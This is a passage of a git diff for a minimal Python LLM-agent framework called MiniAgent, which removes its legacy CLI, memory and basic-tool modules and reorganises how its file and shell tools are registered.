Args: - query: User query text - max_iterations: Maximum number of iterations - mode: Tool calling mode — "text" (default, transparent parsing) - or "native" (OpenAI function calling) - - Returns: - Agent response text - """ - if mode == "native": - return self.run_with_native_tools(query, max_iterations) - return self.run_with_tools(query, max_iterations) diff --git a/miniagent/legacy_cli.py b/miniagent/legacy_cli.py deleted file mode 100644 index 9d163ee..0000000 --- a/miniagent/legacy_cli.py +++ /dev/null @@ -1,371 +0,0 @@ -"""MiniAgent CLI. - -Implements an interactive terminal interface similar in spirit to nanocode. -""" - -from __future__ import annotations - -# Enable CLI mode BEFORE importing anything else that uses logging -from .logger import set_cli_mode -set_cli_mode(True) - -import argparse -import os -from typing import Any, Dict, List, Optional - -from rich.console import Console -from rich.markdown import Markdown -from rich.panel import Panel -from rich.prompt import Prompt -from rich.status import Status - -from . import __version__ -from .agent import MiniAgent -from .config import load_config -from .logger import get_logger -from .memory import Memory - -logger = get_logger(__name__) - -console = Console() - -def _format_history(history: List[Dict[str, str]], limit_turns: int = 10) -> str: - if not history: - return "" - - # Keep the last N user+assistant pairs (approx). - recent = history[-(limit_turns * 2) :] - lines = ["Conversation history (most recent last):"] - for m in recent: - role = m.get("role", "") - content = (m.get("content", "") or "").strip() - if content: - lines.append(f"{role}: {content}") - return "\n".join(lines) + "\n\n" - - -def _truncate_str(s: str, limit: int = 60) -> str: - """Truncate a string for display.""" - if len(s) > limit: - return s[:limit] + "…" - return s - - -def _format_tool_args(name: str, args: Dict[str, Any]) -> str: - """Format tool arguments for concise display (Claude Code style).""" - if name == "bash": - cmd = args.get("cmd", args.get("command", "")) - return _truncate_str(cmd, 80) - elif name == "read": - path = args.get("path", "") - offset = args.get("offset", 1) - limit = args.get("limit", 50) - return f"{path} (lines {offset}-{offset + limit - 1})" - elif name == "write": - path = args.get("path", "") - content = args.get("content", "") - lines = content.count("\n") + 1 - return f"{path} ({lines} lines)" - elif name == "edit": - path = args.get("path", "") - return f"{path}" - elif name in ("glob", "grep"): - pattern = args.get("pattern", "") - path = args.get("path", args.get("root", ".")) - return f"{pattern} in {path}" - elif name == "calculator": - return args.get("expression", str(args)) - else: - # Generic: show first key-value pair - if args: - first_key = next(iter(args)) - return f"{first_key}={_truncate_str(str(args[first_key]), 50)}" - return "" - - -def _format_tool_result(name: str, result: Any) -> str: - """Format tool result for concise display.""" - if result is None: - return "✓" - if isinstance(result, dict): - if "exit_code" in result: # bash result - code = result.get("exit_code", 0) - if code == 0: - stdout = result.get("stdout", "") - lines = stdout.strip().split("\n") if stdout else [] - if len(lines) <= 3: - return "\n".join(lines) if lines else "✓" - return f"{len(lines)} lines" - else: - return f"exit {code}" - elif "error" in result: - return f"✗ {_truncate_str(str(result['error']), 50)}" - if isinstance(result, str): - if len(result) > 100: - lines = result.count("\n") + 1 - return f"{lines} lines" if lines > 3 else _truncate_str(result, 60) - return _truncate_str(result, 60) - return _truncate_str(str(result), 60) - - -# Global status for thinking indicator -_current_status: Optional[Status] = None - - -def _tool_callback(event: str, name: str, payload: Dict[str, Any]) -> None: - """Callback for tool execution (Claude Code style output).""" - global _current_status - - if event == "start": - # Stop any existing status - if _current_status: - _current_status.stop() - _current_status = None - - args = payload.get("arguments", {}) - args_str = _format_tool_args(name, args) - - # Print tool invocation line (dim, compact) - icon = "●" - console.print(f" [dim]{icon}[/dim] [cyan]{name}[/cyan] [dim]{args_str}[/dim]") - - elif event == "end": - result = payload.get("result", payload.get("error")) - result_str = _format_tool_result(name, result) - - # Only print result if it's meaningful and short - if result_str and result_str != "✓" and len(result_str) < 100: - # Indent result under the tool call - for line in result_str.split("\n")[:3]: # Max 3 lines - console.print(f" [dim]→ {line}[/dim]") - - # Restore status - if _current_status: - _current_status.start() - - -def _status_callback(status_text: str) -> None: - """Callback for updating the status spinner text.""" - global _current_status - if _current_status: - _current_status.update(f"[dim]{status_text}[/dim]") - - -def _build_agent(args: argparse.Namespace) -> tuple[MiniAgent, Memory]: - cfg = load_config(args.config, model_override=args.model, base_override=args.base_url) - - model = cfg.llm.model - api_key = args.api_key or cfg.llm.api_key - base_url = args.base_url or cfg.llm.api_base - temperature = args.temperature if args.temperature is not None else cfg.llm.temperature - - if not model: - console.print("[bold red]Missing model: set LLM_MODEL, llm.model in JSON, or --model.[/bold red]") - raise SystemExit(2) - - if not api_key: - console.print("[bold red]❌ Missing API Key[/bold red]") - console.print("\n[bold]Quick setup:[/bold]") - console.print(" 1. Copy the example: [cyan]cp .env.example .env[/cyan]") - console.print(" 2. Edit with your key: [cyan]nano .env[/cyan]") - console.print("\n[bold]Required variables:[/bold]") - console.print(" [dim]LLM_API_KEY[/dim] = your API key") - console.print(" [dim]LLM_MODEL[/dim] = model name (e.g. deepseek-chat, gpt-4o)") - console.print(" [dim]LLM_API_BASE[/dim] = endpoint URL (e.g. https://api.deepseek.com/v1)") - console.print("\n[dim]Or pass on command line: miniagent --api-key sk-xxx --model gpt-4o[/dim]") - raise SystemExit(1) - - memory = Memory() - memory.load() - - system_prompt = cfg.system_prompt - mem_ctx = memory.context() - if mem_ctx: - system_prompt = system_prompt.rstrip() + "\n\n" + mem_ctx - - def _confirm_dangerous(cmd: str) -> bool: - """Rich-formatted confirmation for dangerous commands.""" - console.print(f"\n [bold red]⚠️ Dangerous command detected:[/bold red]") - console.print(f" [yellow]{cmd}[/yellow]") - answer = Prompt.ask(" [bold]Allow execution?[/bold]", choices=["y", "n"], default="n") - return answer.lower() == "y" - - agent = MiniAgent( - model=model, - api_key=api_key, - base_url=base_url, - temperature=temperature, - system_prompt=system_prompt, - use_reflector=cfg.enable_reflection, - confirm_dangerous=cfg.confirm_dangerous, - confirm_callback=_confirm_dangerous, - ) - - # Load some default tools if configured, else fall back to all currently registered. - agent.tools = [] - tools = cfg.default_tools or ["read", "write", "edit", "grep", "glob", "bash"] - for tool_name in tools: - agent.load_builtin_tool(tool_name) - - return agent, memory - - -def main(argv: Optional[List[str]] = None) -> int: - """Entry point for the ``miniagent`` CLI. - - Parses arguments, initialises the agent, and runs the interactive REPL. - Environment variables (LLM_API_KEY, LLM_MODEL, LLM_API_BASE) can be set - in a ``.env`` file or exported directly. - """ - parser = argparse.ArgumentParser(prog="miniagent", description="MiniAgent - Minimalist CLI Agent Framework") - parser.add_argument("--version", "-V", action="version", version=f"%(prog)s {__version__}") - parser.add_argument("--config", help="Path to config JSON") - parser.add_argument("--model", help="Override model name") - parser.add_argument("--api-key", help="Override API key") - parser.add_argument("--base-url", help="Override base URL") - parser.add_argument("--temperature", type=float, help="Override temperature") - args = parser.parse_args(argv) - - try: - agent, memory = _build_agent(args) - except SystemExit: - raise - except Exception as e: - console.print(f"[red]error:[/red] {e}") - return 1 - - console.print(f"[dim]model:[/dim] {agent.model} [dim]tools:[/dim] {len(agent.tools)} [dim]type /help for commands[/dim]") - - # Streaming flag — can be toggled with /stream - use_streaming = os.environ.get("MINIAGENT_STREAM", "1") != "0" - # Tool calling mode — "text" (default) or "native" - run_mode = "text" - - history: List[Dict[str, str]] = [] - - while True: - try: - user_text = Prompt.ask("[cyan]you[/cyan]") - user_text = user_text.strip() - except (EOFError, KeyboardInterrupt): - console.print() - break - - if not user_text: - continue - - if user_text in ("/q", "/quit", "/exit"): - break - if user_text in ("/c", "/clear"): - history.clear() - console.print(f"[dim]cleared[/dim]") - continue - if user_text == "/stream": - use_streaming = not use_streaming - console.print(f"[dim]streaming {'on' if use_streaming else 'off'}[/dim]") - continue - if user_text == "/model": - console.print(f"[dim]current model:[/dim] {agent.model}") - try: - new_model = Prompt.ask("[dim]new model (enter to keep)[/dim]", default=agent.model) - if new_model != agent.model: - agent.model = new_model - console.print(f"[green]✓[/green] switched to {new_model}") - except (EOFError, KeyboardInterrupt): - pass - continue - if user_text == "/mode": - run_mode = "native" if run_mode == "text" else "text" - console.print(f"[dim]mode: {run_mode}[/dim]") - continue - if user_text in ("/help", "help"): - console.print("[bold]Commands:[/bold]") - console.print(" /help show this help") - console.print(" /c clear conversation history") - console.print(" /stream toggle streaming output") - console.print(" /model switch LLM model") - console.print(" /mode toggle text/native FC mode") - console.print(" /tools list loaded tools") - console.print(" /q quit") - console.print(f"\n[dim]model: {agent.model} | mode: {run_mode} | streaming: {'on' if use_streaming else 'off'} | tools: {len(agent.tools)}[/dim]") - continue - if user_text == "/tools": - console.print(f"[bold]Loaded Tools ({len(agent.tools)}):[/bold]") - for t in agent.tools: - desc = t['description'].split('\n')[0][:70] - console.print(f" [cyan]{t['name']:<18}[/cyan] {desc}") - continue - - query = _format_history(history) + user_text - history.append({"role": "user", "content": user_text}) - memory.push("user", user_text) - - # Prepare streaming callback - _stream_chunks: List[str] = [] - _stream_has_tool_call = False - - def _stream_callback(token: str) -> None: - """Print streaming tokens, but suppress if it's a tool call block.""" - nonlocal _stream_has_tool_call, _stream_chunks - _stream_chunks.append(token) - # Detect tool call patterns early and stop printing - partial = "".join(_stream_chunks) - if "TOOL:" in partial or "Tool:" in partial or "工具:" in partial: - _stream_has_tool_call = True - return - if not _stream_has_tool_call: - console.print(token, end="", highlight=False) - - try: - # Show thinking indicator - with console.status("[dim]Thinking...[/dim]", spinner="dots") as status: - global _current_status - _current_status = status - try: - if run_mode == "native": - response = agent.run_with_native_tools( - query, - tool_callback=_tool_callback, - status_callback=_status_callback, - ) - else: - response = agent.run_with_tools( - query, - tool_callback=_tool_callback, - status_callback=_status_callback, - stream_callback=_stream_callback if use_streaming else None, - ) - finally: - _current_status = None - except TypeError: - # Backward compatibility if tool_callback not available. - response = agent.run(query, mode=run_mode) - except Exception as e: - console.print(f"[red]error:[/red] {type(e).__name__}: {str(e)[:200]}") - continue - - history.append({"role": "assistant", "content": response}) - memory.push("assistant", response) - - # If streaming printed the final answer already, just add a newline - if use_streaming and _stream_chunks and not _stream_has_tool_call: - console.print() # newline after streamed output - continue - - # Truncate overly long responses for display (keep full in history) - display_response = response - if len(response) > 2000: - # Count lines and truncate if too long - lines = response.split('\n') - if len(lines) > 50: - display_response = '\n'.join(lines[:20]) + f'\n\n... ({len(lines) - 40} lines omitted) ...\n\n' + '\n'.join(lines[-20:]) - else: - display_response = response[:1000] + f'\n\n... ({len(response) - 2000} chars omitted) ...\n\n' + response[-1000:] - - console.print(Panel(Markdown(display_response), title="assistant", style="green", border_style="green")) - - return 0 - - -if __name__ == "__main__": - raise SystemExit(main()) diff --git a/miniagent/mcp_client.py b/miniagent/mcp_client.py deleted file mode 100644 index 5e227a6..0000000 --- a/miniagent/mcp_client.py +++ /dev/null @@ -1,4 +0,0 @@ -"""Backward-compatible re-export. Real implementation in extensions/mcp_client.py.""" -from .extensions.mcp_client import MCPClient, load_mcp_tools # noqa: F401 - -__all__ = ["MCPClient", "load_mcp_tools"] diff --git a/miniagent/memory.py b/miniagent/memory.py deleted file mode 100644 index 71c2b38..0000000 --- a/miniagent/memory.py +++ /dev/null @@ -1,98 +0,0 @@ -"""Minimal memory module for MiniAgent. - -Stores user preferences, facts, and recent conversation history in a JSON file. -Designed to be small and dependency-free. -""" - -from __future__ import annotations - -import json -import os -import time -from dataclasses import dataclass, field -from pathlib import Path -from typing import Any, Dict, List, Optional - -from .logger import get_logger - -logger = get_logger(__name__) - - -def _default_memory_path() -> Path: - base = Path(os.environ.get("MINIAGENT_HOME", "~/.miniagent")).expanduser() - base.mkdir(parents=True, exist_ok=True) - return base / "memory.json" - - -@dataclass -class Memory: - """Lightweight session memory persisted as a JSON file. - - Stores user preferences, facts, and recent conversation history. - Automatically trims old messages beyond ``max_messages``. - """ - path: Path = field(default_factory=_default_memory_path) - max_messages: int = 40 - - preferences: Dict[str, Any] = field(default_factory=dict) - facts: Dict[str, Any] = field(default_factory=dict) - messages: List[Dict[str, str]] = field(default_factory=list) - - def load(self) -> None: - """Load memory from the JSON file on disk (no-op if file missing).""" - if not self.path.exists(): - return - try: - data = json.loads(self.path.read_text(encoding="utf-8")) - self.preferences = data.get("preferences", {}) or {} - self.facts = data.get("facts", {}) or {} - self.messages = data.get("messages", []) or [] - except Exception: - logger.exception("Failed to load memory") - - def save(self) -> None: - """Persist current memory state to the JSON file.""" - try: - self.path.parent.mkdir(parents=True, exist_ok=True) - payload = { - "updated_at": int(time.time()), - "preferences": self.preferences, - "facts": self.facts, - "messages": self.messages[-self.max_messages :], - } - self.path.write_text(json.dumps(payload, ensure_ascii=False, indent=2), encoding="utf-8") - except Exception: - logger.exception("Failed to save memory") - - def set_preference(self, key: str, value: Any) -> None: - """Store a user preference and auto-save.""" - self.preferences[key] = value - self.save() - - def set_fact(self, key: str, value: Any) -> None: - """Store a user fact and auto-save.""" - self.facts[key] = value - self.save() - - def push(self, role: str, content: str) -> None: - """Append a message and auto-save, trimming to ``max_messages``.""" - if not content: - return - self.messages.append({"role": role, "content": content}) - self.messages = self.messages[-self.max_messages :] - self.save() - - def context(self) -> str: - """Generate a compact memory context string for the LLM.""" - parts: List[str] = [] - if self.preferences: - prefs = ", ".join(f"{k}={v}" for k, v in sorted(self.preferences.items())) - parts.append(f"User preferences: {prefs}") - if self.facts: - facts = ", ".join(f"{k}={v}" for k, v in sorted(self.facts.items())) - parts.append(f"User facts: {facts}") - if self.messages: - recent = self.messages[-10:] - convo = "\n".join(f"{m['role']}: {m['content']}" for m in recent) - parts.append("Recent conversation:\n" + convo) - return "\n\n".join(parts).strip() diff --git a/miniagent/orchestrator.py b/miniagent/orchestrator.py deleted file mode 100644 index 6f3f5cf..0000000 --- a/miniagent/orchestrator.py +++ /dev/null @@ -1,4 +0,0 @@ -"""Backward-compatible re-export. Real implementation in extensions/orchestrator.py.""" -from .extensions.orchestrator import Orchestrator # noqa: F401 - -__all__ = ["Orchestrator"] diff --git a/miniagent/plugins.py b/miniagent/plugins.py index 077d0c6..5c8c27b 100644 --- a/miniagent/plugins.py +++ b/miniagent/plugins.py @@ -61,27 +61,28 @@ async def capture(pipe): def coding_tools(): def setup(ctx): - for name in ("read", "write", "edit", "grep", "glob", "bash"): + for name in ("read", "write", "edit", "grep", "glob"): func = getattr(code_tools, name) description = get_tool_description(func) - if name == "bash": - async def executor(cmd, timeout=0): - return await shell(cmd, cwd=str(ctx.app.policy.workspace), timeout=timeout) - access = "shell" - else: - def executor(_func=func, **kwargs): - token = code_tools._workspace.set(ctx.app.policy.workspace) - visibility = code_tools._path_allowed.set(ctx.app.policy.visible) - try: - result = _func(**kwargs) - failed = isinstance(result, str) and result.startswith("error:") - failed = failed or (isinstance(result, list) and any( - (isinstance(item, dict) and item.get("error")) or - (isinstance(item, str) and item.startswith("error:")) for item in result)) - return {"isError": True, "content": result} if failed else result - finally: - code_tools._path_allowed.reset(visibility) - code_tools._workspace.reset(token) - access = "write" if name in {"write", "edit"} else "read" + def executor(_func=func, **kwargs): + token = code_tools._workspace.set(ctx.app.policy.workspace) + visibility = code_tools._path_allowed.set(ctx.app.policy.visible) + try: + result = _func(**kwargs) + failed = isinstance(result, str) and result.startswith("error:") + failed = failed or (isinstance(result, list) and any( + (isinstance(item, dict) and item.get("error")) or + (isinstance(item, str) and item.startswith("error:")) for item in result)) + return {"isError": True, "content": result} if failed else result + finally: + code_tools._path_allowed.reset(visibility) + code_tools._workspace.reset(token) + access = "write" if name in {"write", "edit"} else "read" ctx.tool(Tool(name, description["description"], description["parameters"], executor, access)) + async def execute_shell(cmd, timeout=0): + return await shell(cmd, cwd=str(ctx.app.policy.workspace), timeout=timeout) + ctx.tool(Tool("bash", "Execute a shell command in the workspace.", { + "type": "object", "properties": { + "cmd": {"type": "string"}, "timeout": {"type": "integer", "minimum": 0, "default": 0}}, + "required": ["cmd"]}, execute_shell, "shell")) return Plugin("tools", setup) diff --git a/miniagent/skills.py b/miniagent/skills.py index ba9f56d..0a17f5a 100644 --- a/miniagent/skills.py +++ b/miniagent/skills.py @@ -1,32 +1,11 @@ -"""Skill system for MiniAgent. - -A Skill is a reusable configuration that bundles: -- A specialized system prompt -- An optional tool whitelist (subset of loaded tools) -- Optional LLM parameters (temperature, max_iterations) - -Skills let you create purpose-built agent personas without writing new code. - -Example usage: - from miniagent.skills import register_skill, get_skill - - @register_skill - def code_reviewer(): - return Skill( - name="code_reviewer", - prompt="You are a senior code reviewer. Focus on bugs, security, and readability.", - tools=["read", "grep", "glob"], - temperature=0.3, - ) - - # Use in agent - agent.load_skill("code_reviewer") - agent.run("Review the changes in src/auth.py") -""" +"""Reusable prompt, tool allowlist and iteration budget for a Harness. +Use app.apply_skill(get_skill("reviewer")); register custom Skill instances with +register_skill(Skill(name="writer", prompt="...")) or read a local SKILL.md. +""" from __future__ import annotations -from dataclasses import dataclass, field +from dataclasses import dataclass from typing import Dict, List, Optional from pathlib import Path import json diff --git a/miniagent/tools/__init__.py b/miniagent/tools/__init__.py index 28dbb3c..cb88ce0 100644 --- a/miniagent/tools/__init__.py +++ b/miniagent/tools/__init__.py @@ -1,159 +1,9 @@ -""" -Tools module for MiniAgent. - -This module provides a set of tools that can be used by the agent to interact with the world. -""" - -import importlib +"""Pure callable metadata. Tool ownership belongs to each Harness Registry.""" import inspect -from typing import Any, Callable, Dict, List, Optional, Union - -from ..logger import get_logger +from typing import Any, Callable, Dict -logger = get_logger(__name__) - -# Tool function type ToolFunction = Callable[..., Any] -__all__ = [ - 'register_tool', - 'get_registered_tools', - 'get_tool', - 'clear_tools', - 'execute_tool', - 'load_tool_from_module', - 'load_builtin_tools', - 'get_tool_description', - 'get_tools_description', - 'load_tools' -] - -# Dictionary to store registered tools -_TOOLS: Dict[str, ToolFunction] = {} - -def register_tool(func: ToolFunction) -> ToolFunction: - """ - Decorator to register a function as a tool. - - Args: - func: Function to register as a tool - - Returns: - The registered function - """ - _TOOLS[func.__name__] = func - return func - -def get_registered_tools() -> Dict[str, ToolFunction]: - """ - Get all registered tools. - - Returns: - Dictionary of tool name to function mapping - """ - return _TOOLS - -def get_tool(name: str) -> Optional[ToolFunction]: - """ - Get a tool by name. - - Args: - name: Name of the tool - - Returns: - Tool function or None if not found - """ - if name not in _TOOLS and name in _BASIC_NAMES: - try: - importlib.import_module("miniagent.tools.basic_tools") - except ImportError as error: - raise ImportError("Install miniagent[legacy] for optional basic tools") from error - return _TOOLS.get(name) - -def clear_tools() -> None: - """ - Clear all registered tools. - """ - _TOOLS.clear() - -def execute_tool(name: str, **kwargs) -> Any: - """ - Execute a tool by name. - - Args: - name: Name of the tool - **kwargs: Arguments to pass to the tool - - Returns: - Result of the tool execution - """ - logger.info(f"Executing tool: {name}") - - tool = get_tool(name) - if not tool: - error_msg = f"Tool '{name}' not found" - logger.error(error_msg) - return {"error": error_msg} - - try: - return tool(**kwargs) - except Exception as e: - error_msg = f"Error executing tool '{name}': {str(e)}" - logger.error(error_msg) - return {"error": error_msg} - -def load_tool_from_module(module_name: str) -> List[str]: - """ - Load tools from a module. - - Args: - module_name: Name of the module - - Returns: - List of loaded tool names - """ - try: - # Import the module - module = importlib.import_module(module_name) - - # Get all functions in the module - loaded_tools = [] - for name, obj in inspect.getmembers(module): - # Check if the object is a function - if inspect.isfunction(obj): - # Check if the function is decorated with @register_tool - if obj.__name__ in module.__dict__ and obj.__name__ in _TOOLS: - loaded_tools.append(obj.__name__) - - logger.info(f"Loaded tools from module '{module_name}': {loaded_tools}") - return loaded_tools - except Exception as e: - logger.error(f"Error loading tools from module '{module_name}': {str(e)}") - return [] - -def load_builtin_tools(tools: Union[List[str], str, None] = None) -> List[str]: - """ - Load built-in tools. - - Args: - tools: List of tool names or a single tool name - - Returns: - List of loaded tool names - """ - if tools is None: - return [] - - if isinstance(tools, str): - tools = [tools] - - loaded_tools = [] - for tool_name in tools: - module_path = f"miniagent.tools.{tool_name}" - loaded = load_tool_from_module(module_path) - loaded_tools.extend(loaded) - - return loaded_tools def get_tool_description(tool: ToolFunction) -> Dict[str, Any]: """ @@ -217,75 +67,3 @@ def get_tool_description(tool: ToolFunction) -> Dict[str, Any]: "required": required } } - -def get_tools_description(tools: Optional[List[str]] = None) -> List[Dict[str, Any]]: - """ - Get descriptions for all tools or specified tools. - - Args: - tools: List of tool names or None for all - - Returns: - List of tool descriptions - """ - registered_tools = get_registered_tools() - - if tools: - # Filter tools by name - tool_funcs = {name: func for name, func in registered_tools.items() if name in tools} - else: - tool_funcs = registered_tools - - return [get_tool_description(func) for func in tool_funcs.values()] - -_BASIC_NAMES = { - "calculator", "get_current_time", "system_info", "file_stats", - "disk_usage", "process_list", "system_load", "web_search", "http_request", - "open_browser", "open_app", "clipboard_copy", "clipboard_read", - "create_docx", "env_get", "env_set", -} - - -def __getattr__(name): - if name in _BASIC_NAMES: - return get_tool(name) - raise AttributeError(name) - -# Code tools (optional import so the package remains robust) -try: - from .code_tools import read, write, edit, glob, grep, bash - logger.debug("Imported all tools from code_tools") -except ImportError as e: - logger.warning(f"Failed to import code tools: {e}") - -def load_tools(tools: Union[List[str], str, None] = None) -> List[str]: - """ - Load specified tools or all available tools. - - Args: - tools: List of tool names or a single tool name or None for all - - Returns: - List of loaded tool names - """ - if tools is None: - # Load all available tools - tools = [ - "calculator", "get_current_time", "system_info", "file_stats", - "disk_usage", "process_list", "system_load", "web_search", "http_request", - "open_browser", "open_app", "clipboard_copy", "clipboard_read", - "create_docx", "env_get", "env_set", - "read", "write", "edit", "glob", "grep", "bash" - ] - - if isinstance(tools, str): - tools = [tools] - - loaded_tools = [] - for tool_name in tools: - if tool_name in _TOOLS: - loaded_tools.append(tool_name) - else: - logger.warning(f"Tool '{tool_name}' not found") - - return loaded_tools diff --git a/miniagent/tools/basic_tools.py b/miniagent/tools/basic_tools.py deleted file mode 100644 index 1382a92..0000000 --- a/miniagent/tools/basic_tools.py +++ /dev/null @@ -1,682 +0,0 @@ -""" -Basic tools module providing common utility functions. -""" - -import re -import requests -import math -import os -import platform -import subprocess -import datetime -import psutil -import webbrowser -from typing import Dict, List, Any, Optional -from pathlib import Path - -from . import register_tool -from ..logger import get_logger - -logger = get_logger(__name__) - -@register_tool -def calculator(expression: str) -> Dict[str, Any]: - """ - Calculate the result of a mathematical expression. - Uses AST parsing for safety — only allows arithmetic and math functions. - - Args: - expression: The mathematical expression to calculate, e.g., "2 + 2 * 3", "sqrt(16)", "sin(pi/2)" - - Returns: - Dictionary containing the expression and result - """ - import ast as _ast - - safe_dict = { - 'abs': abs, 'pow': pow, 'round': round, 'min': min, 'max': max, - 'int': int, 'float': float, - 'sin': math.sin, 'cos': math.cos, 'tan': math.tan, - 'asin': math.asin, 'acos': math.acos, 'atan': math.atan, - 'sinh': math.sinh, 'cosh': math.cosh, 'tanh': math.tanh, - 'exp': math.exp, 'log': math.log, 'log10': math.log10, - 'sqrt': math.sqrt, 'ceil': math.ceil, 'floor': math.floor, - 'degrees': math.degrees, 'radians': math.radians, - 'pi': math.pi, 'e': math.e, - } - allowed_funcs = set(safe_dict.keys()) - {'pi', 'e'} - - def _check_node(node): - if isinstance(node, _ast.Call): - if not (isinstance(node.func, _ast.Name) and node.func.id in allowed_funcs): - raise ValueError(f"Function not allowed: {_ast.dump(node.func)}") - for child in _ast.iter_child_nodes(node): - _check_node(child) - - try: - expression = expression.strip() - tree = _ast.parse(expression, mode='eval') - _check_node(tree.body) - result = eval(compile(tree, '', 'eval'), {"__builtins__": {}}, safe_dict) - return {"expression": expression, "result": result} - except Exception as e: - return {"expression": expression, "error": f"Error: {str(e)}"} - -@register_tool -def get_current_time() -> Dict[str, Any]: - """ - Get current time information. - - Returns: - Detailed information about the current time, including ISO format, year, month, day, etc. - """ - logger.info("get_current_time called") - now = datetime.datetime.now() - return { - "iso": now.isoformat(), - "year": now.year, - "month": now.month, - "day": now.day, - "hour": now.hour, - "minute": now.minute, - "second": now.second, - "weekday": now.strftime("%A"), - "formatted": now.strftime("%Y-%m-%d %H:%M:%S") - } - -@register_tool -def system_info() -> Dict[str, Any]: - """ - Get detailed information about the system. - - Returns: - Dictionary with system information like OS, version, architecture, etc. - """ - logger.info("system_info called") - try: - info = { - "platform": platform.system(), - "platform_release": platform.release(), - "platform_version": platform.version(), - "architecture": platform.machine(), - "processor": platform.processor(), - "hostname": platform.node(), - "python_version": platform.python_version(), - "time": datetime.datetime.now().isoformat() - } - - # Add more detailed information for specific platforms - if platform.system() == "Linux": - try: - # Get distribution information - import distro - info["distribution"] = distro.name(pretty=True) - info["distribution_version"] = distro.version() - info["distribution_codename"] = distro.codename() - except ImportError: - # Fallback if distro module is not available - try: - with open('/etc/os-release', 'r') as f: - os_release = dict(line.strip().split('=', 1) for line in f if '=' in line) - info["distribution"] = os_release.get('PRETTY_NAME', '').strip('"') - except (OSError, ValueError): - pass - - return info - except Exception as e: - logger.error(f"Error getting system info: {str(e)}") - raise ValueError(f"Failed to get system information: {str(e)}") - -@register_tool -def file_stats(directory: str = ".", pattern: str = "*") -> Dict[str, Any]: - """ - Get statistics about files in a directory. - - Args: - directory: Directory path to analyze, default is current directory - pattern: File pattern to match, e.g., "*.py" for Python files - - Returns: - Statistics about files including count, total size, extensions, etc. - """ - logger.info(f"file_stats called: {directory}/{pattern}") - try: - # Resolve the path to handle relative paths and symlinks - path = Path(directory).resolve() - - if not path.exists(): - raise ValueError(f"Directory '{directory}' does not exist") - - if not path.is_dir(): - raise ValueError(f"'{directory}' is not a directory") - - # Get all files matching the pattern - files = list(path.glob(pattern)) - - files = [f for f in files if f.is_file()] - - # Calculate statistics - total_size = sum(f.stat().st_size for f in files) - - # Count files by extension - extensions = {} - for file in files: - ext = file.suffix.lower() - if ext in extensions: - extensions[ext] += 1 - else: - extensions[ext] = 1 - - # Get oldest and newest files - if files: - oldest_file = min(files, key=lambda f: f.stat().st_mtime) - newest_file = max(files, key=lambda f: f.stat().st_mtime) - oldest = { - "path": str(oldest_file.relative_to(path.parent)), - "modified": datetime.datetime.fromtimestamp(oldest_file.stat().st_mtime).isoformat() - } - newest = { - "path": str(newest_file.relative_to(path.parent)), - "modified": datetime.datetime.fromtimestamp(newest_file.stat().st_mtime).isoformat() - } - else: - oldest = newest = None - - return { - "directory": str(path), - "pattern": pattern, - "file_count": len(files), - "total_size_bytes": total_size, - "total_size_human": _format_size(total_size), - "extensions": extensions, - "oldest_file": oldest, - "newest_file": newest, - "analyzed_at": datetime.datetime.now().isoformat() - } - except Exception as e: - logger.error(f"Error analyzing files: {str(e)}") - raise ValueError(f"Failed to analyze files in '{directory}': {str(e)}") - -def _format_size(size_bytes: int) -> str: - """Helper function to format size in human-readable format""" - if size_bytes == 0: - return "0 B" - size_names = ("B", "KB", "MB", "GB", "TB", "PB") - i = int(math.floor(math.log(size_bytes, 1024))) - p = math.pow(1024, i) - s = round(size_bytes / p, 2) - return f"{s} {size_names[i]}" - -@register_tool -def web_search(query: str, num_results: int = 5) -> List[Dict[str, str]]: - """ - Perform a web search using DuckDuckGo API. - - Args: - query: Search query content - num_results: Number of results to return, default is 5 - - Returns: - List of search results, each containing title, link, and snippet - """ - logger.info(f"web_search called: {query}") - try: - # DuckDuckGo search API endpoint - url = "https://serpapi.com/search" - - # Get API key from environment - api_key = os.environ.get("SERPAPI_KEY") - if not api_key: - return [{"error": "SERPAPI_KEY environment variable not set. Please set it in your .env file."}] - - # Parameters for the search - params = { - 'engine': 'duckduckgo', - 'q': query, - 'api_key': api_key, - 'kl': 'us-en' # Region and language - } - - # Send request - response = requests.get(url, params=params, timeout=30) - response.raise_for_status() - - # Parse the response - data = response.json() - - # Extract organic results - results = [] - if 'organic_results' in data: - for result in data['organic_results'][:num_results]: - results.append({ - "title": result.get('title', ''), - "link": result.get('link', ''), - "snippet": result.get('snippet', '') - }) - - # Add knowledge graph if available - if 'knowledge_graph' in data and len(results) < num_results: - kg = data['knowledge_graph'] - results.append({ - "title": kg.get('title', ''), - "link": kg.get('website', ''), - "snippet": kg.get('description', '') - }) - - # Add related searches if needed - if 'related_searches' in data and len(results) < num_results: - for related in data['related_searches'][:num_results - len(results)]: - results.append({ - "title": f"Related: {related.get('query', '')}", - "link": related.get('link', ''), - "snippet": "Related search suggestion" - }) - - return results[:num_results] - except Exception as e: - logger.error(f"Search error: {str(e)}") - return [{"error": f"Failed to execute search '{query}': {str(e)}"}] - -@register_tool -def http_request( - url: str, - method: str = "GET", - headers: Optional[Dict[str, str]] = None, - data: Optional[Dict[str, Any]] = None -) -> Dict[str, Any]: - """ - Send an HTTP request and return the response. - - Args: - url: Request URL (must be a public URL, private/internal addresses are blocked) - method: Request method, default is "GET" - headers: Request headers, default is None - data: Request data, default is None - - Returns: - HTTP response data including status code, headers, and body - """ - import ipaddress - from urllib.parse import urlparse - import socket - - logger.info(f"http_request called: {method} {url}") - - # --- SSRF protection: block requests to private/internal networks --- - try: - parsed = urlparse(url) - hostname = parsed.hostname - if not hostname: - raise ValueError("Invalid URL: no hostname") - # Resolve hostname to IP and check if it's private - resolved_ips = socket.getaddrinfo(hostname, parsed.port or 80, proto=socket.IPPROTO_TCP) - for _family, _type, _proto, _canonname, sockaddr in resolved_ips: - ip = ipaddress.ip_address(sockaddr[0]) - if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: - raise ValueError( - f"Blocked request to private/internal address: {hostname} -> {ip}" - ) - except (socket.gaierror, ValueError) as e: - raise ValueError(f"URL validation failed: {e}") - - try: - # Prepare request parameters - kwargs = { - "headers": headers or {} - } - - # Handle different request methods with data - if method.upper() in ["POST", "PUT", "PATCH"] and data: - kwargs["json"] = data - - # Send request with certificate verification - response = requests.request(method.upper(), url, timeout=30, verify=True, **kwargs) - - # Prepare response data - try: - response_data = response.json() - except (ValueError, TypeError): - response_data = response.text - - return { - "status_code": response.status_code, - "headers": dict(response.headers), - "data": response_data - } - except Exception as e: - raise ValueError(f"Failed to execute HTTP request: {str(e)}") - -@register_tool -def disk_usage(path: str = "/") -> Dict[str, Any]: - """ - Get disk usage information for a specified path. - - 